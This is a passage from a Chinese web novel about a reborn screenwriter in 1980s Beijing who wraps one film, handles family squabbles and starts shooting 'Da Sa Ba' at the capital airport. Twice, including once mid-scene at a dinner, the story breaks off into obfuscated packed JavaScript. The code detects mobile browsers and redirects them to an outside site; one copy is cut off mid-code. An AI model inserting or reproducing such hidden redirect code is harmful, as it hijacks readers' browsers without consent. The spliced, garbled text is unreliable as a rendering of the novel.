杜玉明笑道:“能有啥安排啊,他回他的流沙河,我回我的高老庄。” 熊欣欣耷拉着脑袋说道:“远哥,今后您再拍武打片,记得找我啊。” 高远看着比自己小两岁的小兄弟,点头道:“放心,不出意外,我明年还找你们。” 熊欣欣兴奋起来,“好,我保证随叫随到。” 杜玉明说起了另一个事情,“我瞧出来,李连杰这孩子心野了,在河南拍戏的时候他跟香港那俩袁指导走得很近,袁指导忽悠他去香港发展。 说什么像他这种武术人才,香港很少见到,大豆的风格太鲜明太有特色了,稍加培养就是一代功夫巨星。 我看出来,小李子动心了。 高老师,这可不是个好现象啊。” 高远对李连杰的事业发展了如指掌,前世就是袁和平把他弄到香港去的。 这小子拍完《少林寺》后,像是发现了新大陆,一门心思往电影圈钻,为了能从武术队顺利退役,把腿都摔折了。 当然也有人说那是事故。 真假谁也不清楚。 腿折了,肯定不能参加全国性武术大赛了,武术队无奈之下只能允许他提前退役,于是才有了后来的一代功夫巨星的诞生。 说起来,《少林寺》里的李连杰才是职业生涯的巅峰状态,后面他出演的所有电影,都是在半瘸着一条腿的情况下拍完的。 听了杜玉明的话后,高远笑了笑,道:“每个人都有每个人不同的选择,他既然产生了去香港发展的想法,咱们也拦不住。再说了,这孩子的编制不是还在武术队呢么,武术队放不放人还两说着。” 蔡明接上一句,“我估计悬,武斌教练对两位袁指导严防死守的,也看出来小李子动了歪心思,跟他交流过一次,武教练回来后,能不能小李子的思想动态汇报给武术队的领导们嘛。” “拍戏那会儿我就看出来了,这小子不是个安分守己的人。”李健群说道。 “好了,不去说他。两位袁指导回港了?”高远问道。 “在河南待了两天,见没什么事情可做,就回去了。对了,袁和平指导让我给您带句话,说《奇门遁甲》拍完后,请您一定去香港做客。”杜玉明说道。 去香港啊。 我还真有这个打算。 高远笑着说好。 杜玉明几人又待了会儿,聊了几句,遂告辞离开。 出门后他说道:“我今儿就回学校去住了,咱们离得不远,以后常聚。” 高远点头应下来。 熊欣欣说:“我也买了明天一早的火车票,远哥,就不跟您单独告别了。” “抱一个吧欣欣。”高远展开双臂,跟熊欣欣抱了抱。 《太极》的后期剪辑不需要这些武行们参与了,会请人来给他们饰演的角色配音。 这一别,再见面时怕是得到明年了。 诶也不对。 高远又说道:“李导就没告诉你们,《太极》上映之前,需要你们配合宣传吗?” 杜玉明摇摇头,道:“导演没说提过这茬啊。” 高远想了想,道:“成,那你们先回去休息一阵儿吧,后面我可能还有些其他安排,我留了各位的联系方式,到时候需要你们配合剧组的宣传,我会给你们打电话的。 说不定时间不长我们又能见面了。” 杜玉明和熊欣欣都咧嘴笑了,齐声道:“随时等您电话通知。” 两人走了。 蔡明眨着大眼睛问高远道:“远哥,你新片里有没有适合我的角色啊?” “没有,不骗你,这次真没有。” 高远挺喜欢这个热情开朗,跟自己越混越熟的小姑娘,直言道:“我这新电影,连有名的带没名的角色两个巴掌就数得过来,主要戏份全部集中到男女主人公身上了,其他配角也都确定了下来。 下次吧,就凭你喊我一声‘远哥’,有适合你的角色我也肯定先想着你。” “成,有哥这句话我就放心了,走了啊。冬姐不走吗?”蔡明特爽快。 我也想喊哥啊。 但我比他大,我喊不出口的。 刘冬笑道:“走啊,咱俩一起走。” 李健群说道:“我也该回去了,一起吧。” 三位女士也走了。 高远回到屋里看看表,才七点半钟,他估计小叔出去浪,差不多也该回来睡觉了,于是出门回家。 这段日子他一直住在家里,倒也享受了一段还算安稳的生活。 唯一让他不满的是,家里每晚都门庭若市,热闹至极。 回到家,果不其然,他见一屋子人坐在电视机前津津有味地看电视。 这个状况自打彩电买回来后就成为了常态。 他想不通老爸老妈为什么如此热情好客? 大家过来了,自家就得搭水搭茶搭瓜子,还得笑脸相迎。 客人走后,又要收拾屋子,整天跟打扫战场一般。 慢慢地他明白了,老妈那个戏精和好炫耀的性格起到了关键作用。 自打自己当个人后,给老妈带来太多惊喜了。 所以说,原因其实出在自己身上? 邻居们见高远进了门,都笑着跟他打招呼。 “哟,我们的高才生回来了呀。” “小远,听你妈说,你又写了个新剧本?这次讲了个什么故事啊?” “新电影上映后,叔叔阿姨们一定买票去电影院支持你。” 高远笑着回答道:“新创作了个都市故事片,感谢叔叔阿姨们的支持啊,您几位先看着,我回屋待会儿。” 高跃民说道:“你姐回来了,去你姐屋里跟她聊会儿吧。” 高远一愣,这才想起来,今儿周六,明天放假,说声好,奔姐姐闺房而去。 敲门进去后,他见姐姐躺在床上一脸的生无可恋,乐了,道:“怎么了这是?萎靡不振的。” “太吵了!烦死个人!”高雅表示着自己的不满。 高远走过去,拉过一把椅子来坐下,叹声气说道:“忍着吧,不然还能怎么办呢?” 高雅坐了起来,道:“咱妈也太……唉!让我说什么好啊,早知道这个状况,还不如不买这破电视呢,好不容易放天假,想清净一会儿都难。” “要不你搬出去住吧。” “什么意思?你是说,咱俩有家都不能回了?只遇到这份儿上吗?” 高远从包里拿出房产证来递给姐姐,道:“不至于,但我买房子了,健群过两天要搬过去住,你要嫌吵,就过去跟健群搭个伴儿。” 高雅接过来一看,咝! “好小子,你不声不响净办大事儿啊。这房是……华侨公寓的!不便宜吧?咱爸妈知道吗?” “自然是跟爸妈打过招呼的,花了一万多,这套房子是大伯帮我留意,我才有机会买下来的。” “多大面积?” “150平米,三室两厅,光客厅开间就八米多。” “哇!我要搬!” 高雅激动的不得了,拿着房本儿翻来覆去 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高远点头道:“今儿老靳给我送过来的。” “小靳办事效率很高嘛。小雅你刚才说啥,你要搬到你弟弟那里去住,为什么呀?”老妈后知后觉,问道。 “因为家里太吵了,我一周只放一天假,到家后想清静清静都不行,没办法,只能借住在我弟弟的新房里了。”高雅表达着自己的不满。 张雪梅脸一红,支吾道:“大家伙儿楼上楼下住着,来都来了,我恨你爸还能赶人不是?” 高跃民清清嗓子,说道:“要不是你那么高调,买台电视机吵吵的满楼的住户都知道了,咱家里何至于整天热闹得跟菜市场似的。” 张雪梅瞪着眼说道:“我儿子有本事,能挣大钱,又孝顺又体贴,我怎么就不能高调一点了?” “好好好,你儿子有本事,行了吧?小远小雅,你妈变了,变虚荣了。”高跃民摇着头感慨道。 “高跃民,今晚你睡沙发吧。还有,小雅你愿意搬过去,你就搬,不用征求我的意见。”张雪梅说完,挺胸抬头往卧室里走去。 高跃民瞠目结舌。 姐弟俩对视一眼,哈哈大笑起来。 高远进了屋,没事儿干,找了本《资治通鉴》随意翻看着。 不大会儿,高跃民敲门进来了,一脸做贼心虚的样子低声道:“儿子,给爸根烟抽。” 嗯? 高远乱迷糊,“怎么,我妈给您断粮了?” 高跃民搓着手道:“倒也没彻底断,说是为了我的身体健康着想,每天限量了。” 高远一乐,摸出烟来递给老爸一根,好奇地问道:“一天给您几根啊?” “一天不超过五根。” “您办公室里就没存货吗?” “有啊,但是我能带到家里来吗?你妈查得严,每天我回来她都得翻兜检查。” 他把烟点了,美滋滋抽了一口,陶醉地说道:“舒坦。” 高远笑得不行了,瞧,老妈都把老爸逼成什么样了。 我都替您寒碜得慌。 老妈在这个家里有着至高无上的权威,向来说一不二,剩余三口只有听命令的份儿。 但是高远很享受这种家庭氛围。 回忆起上辈子不堪的生活,这会儿老爸已经去世一年多了,老妈一夜白头,自己跟姐姐**,老死不相往来。 重生回来后这种家庭和睦,亲人相爱的小日子,才是自己最喜欢过的。 第180章 突发状况 “对了爸,我小姑和老靳那事儿您和我妈知道了吗?”高远也点了根烟,问道。 高跃民点头道:“你大伯跟我俩说过了,小靳那孩子不错,虽然家庭条件一般,但自己知道努力,也上进。 你小姑今年也30虚了,找到个合适的对象不容易,两人既然情投意合,我和你妈没啥意见。 照你大伯的意见是,等你小姑毕业了,对方的父母见见面,早点把他俩的婚事给办了。” “这事儿你们定就成,我也觉得老靳那人不错,别的不说,我大伯被审查那会儿,要不是老靳关照着,大伯还不知道要遭多大罪呢,把我小姑托付给老靳,咱们也都放心了。”高远说道。 “确实如此。好了,你别看得太晚,早点休息吧。” 高跃民把烟头杵到烟灰缸里,出门奔洗手间刷牙。 片刻后高远听到老爸低声下气地说道:“雪梅,开门啊,你不会真让我睡沙发吧,我这老腰可受不了,我错了还不成么……” 这货躺在床上笑得直蹬腿儿。 第二天,高远刚回到北影厂主楼前,就被等候在此的李文化拦住了去路。 “昨天太晚了,我就没去找你,《太极》的拍摄工作全部完成,打今儿起进入到后期制作中,你要不要盯一盯剪接?”李文化直言不讳道。 “我就不掺和了,您跟剪接师傅说,剪得凌厉一点就是了,动作衔接得要快,千万别拖沓了。另外配音也要找到合适的老师,这方面您经验丰富,我就不多说了。 您也知道,我开了部新片,组里还有一大堆事情,《太极》完成后期制作后不是还要经过几次审核么,到时候您再找我吧。” 高远对这部电影已经完全失去了兴趣,但也不是一点都放手不管。 他还有个挣外汇的任务要完成,但也得等到片子全部剪完后再进行后续操作。 李文化摇摇头,说道:“行吧,我会按照你的要求进行后期制作的,老厂长的意思是,片子剪完,先搞一场内部看片会,然后再送去电影局过审。 我弄完后再找你吧。” 高远说声好,抬腿走进主楼。 李文化则去了裙楼的剪辑部门。 《大撒把》筹备得特别顺利。 高远跟王好为碰了碰,两人决定三天后正式开机。 这时候,钱康走进会议室,笑着说道:“服装厂的人来送戏服了,二位领导,让他把衣服放哪儿去啊?” 高远说道:“还挺及时,送棚里去不就得了。” “棚里正在搭建内景呢,那叫一个乱啊,衣服放到棚里,沾上灰尘演员们还怎么穿。”钱康介绍了一下。 “那就辛苦一下师傅,送会议室来吧。”高远笑着说道。 “好。”钱康去了。 不大会儿带着一个180的大高个儿回来,俩人一人抱一个纸箱子。 那大高个一进来就埋怨:“领导只交代给你们送来就完了,可没说还得帮你们搬上楼,你们不多少给点儿辛苦费吗?” 高远闻言皱皱眉,抬头一瞧又乐了,诶这不是诚儒兄么,这会儿您头发还挺茂盛的。 他连忙起身迎过去,摸出烟来递上一根,热情洋溢道:“师傅您辛苦了,抽烟抽烟。” 李诚儒瞧着他,也没客气,把烟接过来,道:“辛苦谈不上,你们剧组给我们厂创造了经济效益嘛,我跑一趟也是应该的,都是为人民服务。” 高远又摸出火柴来擦着,帮他点了,问道:“您贵姓?” 他还得装作不认识的,那叫一别扭。 不过随着时代的发展,越来越多后世熟悉的面孔出现在高远面前,让他感觉特有意思。 李诚儒抽口烟,道:“景山服装厂,李诚儒。” 我知道我知道。 一身俗血嘛。 只买最贵的,不买最好的。 家住北池子大街,在家院子里放风筝,西北风一起,风筝就挂在了故宫角楼上。 “李大哥您好,我叫高远,是这部电影《大撒把》的编剧,您快请坐,喝杯茶歇歇脚。” 高远展现出非同一般的热情来,他可太想结交李诚儒了,还给他倒了杯茶。 李诚儒愣了愣,坐下后端详他片刻,道:“你才多大啊,就能担任电影编剧了。” “不才,刚满20岁。” “嚯,年轻有为。” “不敢当,不敢当。” “从你们委托我厂生产的这批服装上来看,这是部都市剧?”李诚儒问道。 “您好眼光。”高远也在他旁边坐下了,抽着烟说道:“讲一个被各自伴侣抛弃的痴男怨女抱团取暖的故事。” 李诚儒一拍大腿呲牙乐了,“嘿,有点儿意思,现如今这种片子可没人敢拍,你们北影厂胆子挺大啊。” “李大哥也懂电影?” “爱好,纯爱好。我早年间是学京剧的,后拜话语演员董行佶为师,这二年经常去人艺和工人俱乐部参加话剧演出,勉强算个票友吧。” “您认识濮存昕和杨立新两位老师吗?” “他俩我可太熟了。” 高远笑道:“二位老师就在我这剧组里呢,老钱,麻烦你去把濮老师和杨老师请过来。” 钱康把箱子放在地上,说声好,又去了。 没一会儿回来。 一见李诚儒,濮存昕就乐了,“你怎么过来了?” 杨立新也跑过来和他握手,“老没见了,最近可好?” 李诚儒笑着说:“受领导指派,我来给你们剧组送衣服,挺好的,就是厂里最近活儿不多,整天闲得快长毛了。我听高编剧说,你俩参演这部戏了?” 濮存昕说道:“我是客串,立新是男配,戏份多一些。” 杨立新则道:“你跟高老师还不认识吧?《瞧这一家子》就是高老师和王导联合制作的电影。” 李诚儒瞪着大眼珠子望向高远,道:“刚才高编剧做自我介绍的时候,我就觉得这名儿挺熟悉,好像在哪里听说过,敢情《瞧这一家子》是您的作品啊。” 高远笑道:“第一部作品,很不成熟,让您见笑了。” “您谦虚,故事挺好看,陈佩斯演得也好。” 李诚儒称赞了一句,接着说道:“得,有您二位加盟,我相信这部即将开拍的新电影上映后也会好评如潮的。都忙着吧,我就不打扰各位筹备了,我先颠儿,回头聚。” 他跟几位握握手,转身闪人了。 高远摸摸鼻子,心说忘记留个联系方式了,不过知道他这会儿还在景山服装厂上班,就不愁找不到人。 这货八十年代初期就开了京城第一家服装专卖店,嗯,说不定今后有合作的机会呢。 他也是个不错的演员。 尤其是指着郭小四的鼻子骂那段儿,太振奋人心了。 郭小四就是个**! 时间如奔腾的野驴,两天转瞬即逝。 开机前头一晚,拍摄流程表出炉了。 高远正在王导家混饭吃。 王导也住筒子楼,跟老葛家的格局是一样的,不到二十个平米,非常逼仄,但收拾得干净利索,整间屋里书最多。 一张茶几上摆了六个菜,四个是王导炒的,一只烧鸡一个猪耳朵是高远带来的。 王导和李老师坐在沙发上。 高编剧和李摄影师一人一个马扎,隔着茶几坐两人对面。 由此可以看出,在王导家里,妇女能顶整片天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530517|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>一瓶二锅头已经打开倒满。 二两的杯子高远和李晨声人手一杯。 “我被你大姐抛弃了啊。”李晨声耷拉着脸,神情落寞。 高远哈哈大笑,道:“这怪不得别人,谁叫晨声哥你非要掺和《太极》剧组了。” 李晨声梗着脖子说道:“是男人,都有个武侠梦!再说《太极》拍完,我不也及时赶回来了么,凭什么摄影师还用张新民不用我啊?” “那你就得问你家导儿了。”高远明显在搓火儿、挑事儿。 李健群挽着王好为的胳膊抿嘴轻笑。 王好为哼了声,说道:“我定摄影师那会儿你还在河南山沟沟里呢,我怎么能确定你什么时候回来啊?不能因为等你一个人就耽误了整个剧组的工作开展吧?” 李晨声反驳无能,端起酒杯跟高远碰了一下,道:“喝酒。” “健群,咱俩也喝。” “好的导演。” 两人喝的是扎啤,用暖瓶打回来的。 一顿饭吃到一半的时候,钱康急匆匆过来了。 “导儿、高老师,发生个特殊情况,何伟同志接到电报,家中老母亲突发疾病去世了,找到我说不能参演这部电影了,要赶紧回家奔丧。 发生这种事情我指定不能拦着呀,让他先收拾行李,赶紧过来跟您二位说一声。” 钱康满头大汗。 四人听完心里皆咯噔一下子。 开拍在即突发状况,无疑打乱了拍摄计划。 都说戏比天大,但在人命面前,戏剧毫无疑问是渺小的。 王好为和高远同时站了起来,王好为说道:“走,过去看看小何,老李你在家待着吧,就别过去了。” 李晨声说好,安坐不动。 王好为、高远和李健群跟随钱康出门下楼直奔招待所。 进了何伟的房间后见他边收拾行李边掉泪,内心也忍不住一阵悲伤袭来。 高远走过去,抱着何伟的肩膀安慰道:“哥,节哀啊。” 何伟老大一个爷们儿,这会儿哭成了泪人,“事情发生的太突然了,我母亲的身子骨一直很硬朗,我也不知道怎么说没就没了。” “既然是突发性疾病,那就不能排除脑梗或心梗的可能性。你现在别多想,到家后就知道情况了。”王好为说道。 “导演,高老师,实在是不好意思,因为我的家庭变故,耽误剧组的工作了。” “你现在就别考虑这些了,赶紧回家把大妈的身后事办了才是当务之急。”高远说了一句,扭头看着王好为,又道:“剧组能帮忙就帮些忙吧。 这个点儿火车票可不好买,无论想什么办法,都得让何老师坐上今晚回长春的火车,早些赶回去,还能见老人最后一面。” 王好为点点头,对钱康说道:“老钱,这事儿还得辛苦你去办,你跟铁路方面关系熟,买不到票不要紧,先让小何上火车,半路上再补票也行。” 钱康点点头,说道:“交给我,你们放心。” 何伟把行李收拾好,向众人告辞。 高远从裤兜里摸出20块钱来塞给他,道:“多少是个意思,替我给大妈请些纸钱吧。” 何伟推拒道:“这可不行,这可不行,我不能收,坚决不能收。” “我说了,这不是给您的,是给大妈请纸钱的,让老人家安心上路,也请您代我给老人家磕三个头。”高远很老派。 见他说得真诚,何伟收了,连声道谢。 其他几人,包括跟何伟同住一屋的濮存昕、杨立新、谢园也都纷纷解囊,五块十块地往何伟手中塞钱,表达心意。 感动的何伟热泪盈眶。 他走了,钱康陪同他去了火车站。 第181章 《大撒把》开机 王好为、高远和李健群也离开演员宿舍。 他们走后,濮存昕感叹道:“这是个有温度的剧组。” 杨立新说道:“是啊,一听说老何家里出了事情,导演和编剧都过来了,安慰几句是应当应分的,随份子这点我没想到。” 谢园说道:“小高老师是个好人呐。” “不管台词多或者少,咱们都得使出浑身解数拍好这部作品。”濮存昕又道。 两人皆点着头。 王好为和高远这会儿却挠头了。 三人没再回筒子楼,抹身去了403。 落座后王好为揉着太阳穴说道:“小何的戏份虽然不多,但大小也是个角儿,他这一走,让我上哪儿抓演员去?” 李健群问道:“演员剧团没有合适的人选吗?” 王好为摇头道:“咱们演员剧团一共130多名演员,男演员老的老小的小,我在脑子里过了一遍,还真找不出一个合适的人选来。” 高远此时灵光一闪,笑着说:“导儿,您觉得前两天过来送衣服的李诚儒如何?” “我只记得你跟他聊过几句,我对他印象并不深刻。” “他是演话剧的,有一定表演经验,当然我也不是很了解,但他跟濮老师、杨老师很熟悉啊,咱们找两位老师问问不就清楚了?” “那再去小濮房间一趟吧,这折腾劲儿的。” 李健群笑着说:“我就不跟您二位一起去了,我回房间休息,调整好状态等待明天的拍摄。” 王好为说好,三人一起出了门。 见导演和编剧去而复返,濮存昕三个略感惊讶。 高远在谢园的床上坐下,掏出烟来敬了一圈,直抒来意:“老何这一走,律师那角儿就空出来了,我和导演过来问问濮老师、杨老师,李诚儒演技如何啊? 能担此重任不?” 濮存昕一听就乐了,“那家伙可是个宝儿,台词和表演都不差,舞台表情尤其生动,演个律师绝无问题。” 杨立新也咧嘴笑道:“他平时没事儿老往人艺跑,参加我们话剧的排练,偶尔也参与演出。我听说这家伙被中央实验话剧院相中了,正忙着办理借调手续呢。” 王好为笑道:“也就是说,演技过关?” “那是相当过关,不过我觉得,他更适合出演帕劳领事。我不是说小谢演得不好啊,我发现你对律师这个角色把握得更纯熟一些,你俩角色互换一下,对这部电影能起到更积极的拍摄作用。” 杨立新给出了自己的意见。 对谢园而言,杨立新是前辈,他的意见谢园非常重视。 他点头说道:“我没问题啊,导演和编剧愿意给我一个参演的机会,我就感激不尽了,演谁我服从安排。” 你还挺知情知趣的。 高远跟王好为对视一眼,道:“先别急着定角色,你们俩的戏在后面呢,先把李诚儒定下来再说要不要互换角色。濮老师,您能联系到李诚儒老师吗? 事情发生的有点突然,他如果愿意参演的话,最好请他明天一早过来见个面。” 濮存昕想了想,道:“这个点儿肯定联系不上了,明天一早吧,我给景山厂打个电话,应该能联系到他。” “他就拜托了。” “高老师见外了,刚才我们三个还说,咱们剧组太有温度了,老何这事儿发生在其他组里,导演就算肯放人,事后也得向他单位的领导进行反映。 一句话,你们这位演员,一点职业精神都没有。 老何的演艺生涯就毁了。 哪像咱们组,不仅帮忙购买车票,还随了份子钱。 我看得出来,老何心里温暖极了。”濮存昕说得情深义重。 杨立新也道:“我们也感到了温暖,深受触动啊,我坚信,在导演和高老师的带领下,在全体演职人员的共同努力下,《大撒把》一定会取得辉煌的成绩。” 谢园笑道:“多卖拷贝,争取突破400个。” 高远一乐,道:“那就打破我自己创下的记录了,感谢各位老师的鼎力相助,高远铭记于心,今后多多合作。” “没说的,就冲高老师和导演的这份仗义,今后但有吩咐,我老濮指定帮把手。” “我老杨也没问题。” “小谢巴不得导演和高老师时刻记住我这张脸呢。” 王好为和高远都笑了起来。 事情说完,两人告辞。 次日一早,大太阳地儿。 七月底,天气已经很炎热了。 因为高远上午要回学校参加期末考试,王好为决定下午开机。 高远回到了久违的校园,进入考场后发现他身后坐着葛兆光,心里踏实了。 “哥,靠你了。” “放心,哥考100,绝不让你低于90。” 嗯嗯,我信你的。 这场考试,高远和葛兆光互动频繁、鬼鬼祟祟。 讲台上的主考官组缃先生和王瑶撇着嘴选择性失明。 组缃先生还低声同老妈交流:“这小子越来越过分了啊。” 王妈笑着说:“没办法啊,臭小子在学校的待遇是独一份儿的,连校长都睁只眼闭只眼,咱们就别故意找他茬了。” “唉……你说,他这个大学读的,还有啥意义啊?” “小王八蛋不是说过么,今天我以学校为荣,明天学校以我为荣。我估计校长存着的也是这个心思。” “标杆?” “是的。” “臭小子确实有成为标杆的潜质。” 两人的对话高远不知。 第一场考试顺利结束。 交卷后,高远和两位老师哈拉了几句。 “我听说你小子今年有三部电影同时上映啊。”组缃先生打趣他道。 “是的先生。”高远回答道。 “你这么高产,让其他编剧怎么活?”先生继续调侃他。 “我自个儿先把钱赚到手就成,我管其他死活,我吃饱了撑的呀。”高老师义正词严。 先生看着王瑶,笑道:“听到没有,这个货本质上就是个钱串子。” 王瑶也乐道:“还是那种钻进钱眼儿里就不想出来的老串子。” 高远冲二位拱拱手,道:“学生先走一步了,还得去机场呢,今儿我那部《大撒把》正式开机。” “滚吧,你小子少在我俩眼前晃荡,我俩还能多活几年。” 组缃先生一挥手,高远麻溜儿滚远了。 两位先生畅快大笑。 刚下了楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531682|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁左追了上来,一拍高远的肩膀,他问道:“去哪儿啊?” 高远瞥着他,道:“关你屁事!” “别介啊,下午没课了,我跟你去玩。” “我去首都机场,你去吗?” “去那里干嘛?” “拍电影。” “我去我去。” 行吧,满足你的好奇心。 两人走出校园,坐公交车奔首都国际机场。 到了后正赶上剧组里发盒饭。 一人一个铝饭盒,底下是米饭,上面盖着西红柿炒鸡蛋和辣椒炒肉。 高远领了两盒,递给梁左一盒。 梁左这厮还有点不好意思,没想到过来玩儿还能混炖饱饭吃。 高远往嘴里扒拉着米饭,一抬头见葛优和李健群走了过来,问道:“你俩吃饱了?” 葛优点点头,说道:“早就吃饱了,马上要化妆。” “导演呢?”他又问道。 “导儿在给沛宁姐讲戏呢,这条件实在简陋,讲戏、化妆都得在面包车里进行。天太热了,司机还不想开空调,人往车厢里一坐,跟进了蒸笼的肉包子没啥区别。”葛大爷叨叨着。 高远蹙着眉,道:“老钱不是已经跟机场方面协调好了么,怎么没让机场管理处给咱们组腾一间办公室出来啊?” 他担心的是,在车里化妆,大热的天,妆化好了也得晒花,那就不上镜了。 葛大爷说道:“老钱那人你还不知道嘛,觉悟高,向来不愿意给人添麻烦。” “这不行,得让机场方面给咱们腾间屋子,不然上了妆也等于白上。” 高远说完,三两口把盒饭吃完,起身奔机场负责人办公室,找到负责人后把事儿一说。 那负责人老赵相当配合工作,表示立刻安排。 他喊进来一名工作人员,从抽屉里拿出一把钥匙递给他,说:“你去把三号贵宾休息室的门开了,让北影厂的同志们使用,记住,空调开得足足的。” 工作人员笑着说好。 高远说道:“感谢赵总对我们工作的支持。” “高老师客气了。”赵总笑着跟他握握手。 高远告辞,跟随工作人员出去,在航站楼招呼大家都去三号贵宾室,并让钱康去通知外面车里的王导和邱沛宁。 这时候的首都国际机场只有一个航站楼,面积不大,设施陈旧,还能随便抽烟,也能看到很多金发碧眼的外国友人。 王好为和邱沛宁走进来后,高远乐了。 只见邱沛宁穿着米黄色风衣,顶着一脑袋大波浪,摩丝喷多了,头发一绺绺地,五官明媚大气,妆容故意往艳俗上化。 哎呀,骚里骚气的。 “看什么看?你也不怕看掉了下巴砸了脚面子!” “哈哈哈哈,姐,你这个化的妆盖了帽了!哪位大神给你设计的呀?” 邱沛宁一翻白眼儿,说道:“还能有谁,造型师呗,不过是你媳妇儿提的建议,说艳俗一点符合人物的性格特征。” 高远又问道:“什么特征啊?” 邱沛宁说道:“崇洋**呗。” 高远竖起大拇指道:“李老师已经把各个人物的性格特点都吃透了,我服。” 这时候,李诚儒走了过来。 第182章 瞧你那怂样 “我听大家都叫你高老师啊,‘老师’这称呼从何而来啊?”李诚儒自来熟,过来后先和高远开了个玩笑。 “您可以理解为尊称,编剧老师、艺术策划老师,全托大家尊重。”高远也笑着说道。 “那我也喊您高老师吧。” “您喊兄弟也成。” 李成儒递上根烟,也不矫情,道:“成,我托个大,喊您一声兄弟。 我说高兄弟,今儿一大早老濮给我打电话,说是邀请我来剧组试戏,还说是兄弟你点名让我来的,把我弄了一个懵,你咋想起我来了?” 高原把烟点了,道:“说起来也是巧合,前两天咱俩闲聊,您不是说自个儿爱好话剧表演么,我就留心上了。 赶巧我们剧组一演员家里出现点儿变故,老母亲因病去世回家奔丧没办法出演了,我就把您想了起来。 多少有点冒失了,您海涵。” “这话说的,我感谢您还来不及呢,演电影上大荧幕可是我的梦想,您帮我实现了,回头我请您喝酒,您得给面子啊。” 老李这人特讲究有里有面儿。 他是真正的老BJ,传承了七八代那种。 瞧得上眼的,以诚相待,瞧不上眼的,膀胱都不给你一个。 显然他瞧上高远了,真诚想交他这个朋友。 “您是老大哥,要请客也得我请。”高远也特真诚,不等他拒绝,又道:“词儿都背熟了?” “导演关照我,跟我交流了会儿,觉得我这气质更适合演帕劳领事,让我跟小谢互换了角色,词儿我背了背,没多大难度。” 他很自信。 此时,王好为拍拍巴掌,道:“新民去停机坪拍大飞机了,马上就回,大家准备准备,等新民老师回来,我们立刻进入拍摄状态。” 演员们各自去做准备了,对词儿的对词儿,默背的默背,还有几位在做人物的心理建设。 葛优凑过来,含情脉脉望着高远,嘴唇有点哆嗦,欲言又止的样子。 “怎么?紧张了?”高远一下就猜到了他的心思。 “第一次演男主角,昨晚烙了一宿饼,翻来覆去地睡不着。你再看今儿这阵容,厂长都亲自过来监工了,你说我能不紧张么,怕演不好丢人。” 葛优实话实说:“高老师再给我指点指点吧,这把成不成,我可就全指望您了。” 高远笑道:“你先按我教给你方法的去表演,别想得太多,尽量让自己松弛下来。” 葛优深吸一口气,缓缓点头,道:“那我试试,不行再来找你。” 扛着摄像机的张新民走进屋里。 高远跟他开玩笑道:“哟,新民哥可以啊,还能去里面拍飞机。” 张新民把摄像机小心翼翼放在桌子上,走过来,从高远手里抢了烟盒,抖出一根点了,抽一口后笑着道:“也是赶巧了,我有一同学在机场地勤工作,今儿上午来了恰好碰上了。 我跟他提了提,方不方便带着我进去拍几个空镜头。 他说,中午前儿吧,那时候落地的班机不多,这不,刚才过来喊我,进去拍了拍飞机起落。” “嚯,您这人脉也太广了,今后买飞机票提您的名好使不好使啊?” “那必须不好使啊,你小子当我是老厂长呢,打个电话就能让你从济南飞回首都来,我可没那么大面子。” **笑着走过来,道:“新民,你小子这月补助不想要了是吧,居然敢在背后编排我。” 张新民一扭头儿,惊讶道:“您怎么亲自过来了?” “《大撒把》今日开机,我这个一厂之长过来慰问慰问同志们,还需要你批准吗?” “不不不,我不是这个意思,您亲自来督战,我们脸上有光啊。” **懒得搭理他,环视全场,见大家都很专注,愈发满意了。 王好为站在屋子中央,拍拍手,见大家的目光都集中过来,她说道:“人都到齐了,我简单说一下,电影《大撒把》,正式开机!” 噼里啪啦的掌声响了起来。 等掌声停歇,她又说道:“摄影部门去航站楼架设摄像机,剧务去跟乘客们沟通沟通,让大家尽量配合拍摄,千万不要围观。演员的妆容都画好了吧?” 造型师比画个OK的手势,道:“四位老师的妆都画好了。” 王好为点点头:“灯光师、录音师跟新民走,我只有一点要求,现场的光一定要通透,收音往人声鼎沸上靠。” 两位点头表示明白,拿着灯光、道具跟随张新民出了贵宾室。 “虽然是下午开机,但我希望今天就把在机场的戏份全部拍摄完毕,大家加油。好了,走吧,去航站楼候场。”王好为说完,率先向外面走去。 今儿拍的是顾颜送别妻子的内容。 主人公顾颜是个摄影师,本事平平,有点嘴损,做家务是把好手。 前文说过,原剧本上对他的描写是,他明知道媳妇儿去过是肉包子打洋狗,还全力支持,最后被绿,继而以离婚收场。 he……tui! 逻辑上就很说不过去行吗? 一个男人得伟大到什么程度才会主动把老婆往老外怀里推? 高远觉得矫情,为了展现男人的胸怀刻意往恶心里去塑造人物。 于是他将这段剧情做了修改,隐去了顾颜的心理活动,台词减少,使得影片开头更加干脆、沉静、耐人寻味。 顾颜送别妻子,眼睁睁看着她办理完值机手续,又跑到二楼,见她推着行李车头也不回地消失在自己的视线中,义无反顾奔向资本主义的理想国度去寻找她自以为美好的人生了。 他心情失落、五味杂陈地想要回家。 这时候,被一个男人喊住了,男人也要出国,妻子突然晕倒,男人着急赶飞机,便把妻子托付给顾颜照料。 这个妻子就是林周云。 此时的林周云正在孕期,顾颜把她送到医院,结果林周云流产了。 林周云感谢顾颜帮忙,两人客气地留了联系方式,都以为自此以后就是路人。 没想到的是,生活能力极差的都市丽人在家里杀鸡,搞得跟大型车祸现场一般,她想起了顾颜,两人便有了第一次交集。 一年后,二人再次巧遇,林周云说自己快走了。 顾颜衷心祝福,随即提出给她拍些照片以作留念。 林周云爽快答应下来,两人去了很多名胜古迹,拍了很多照片。 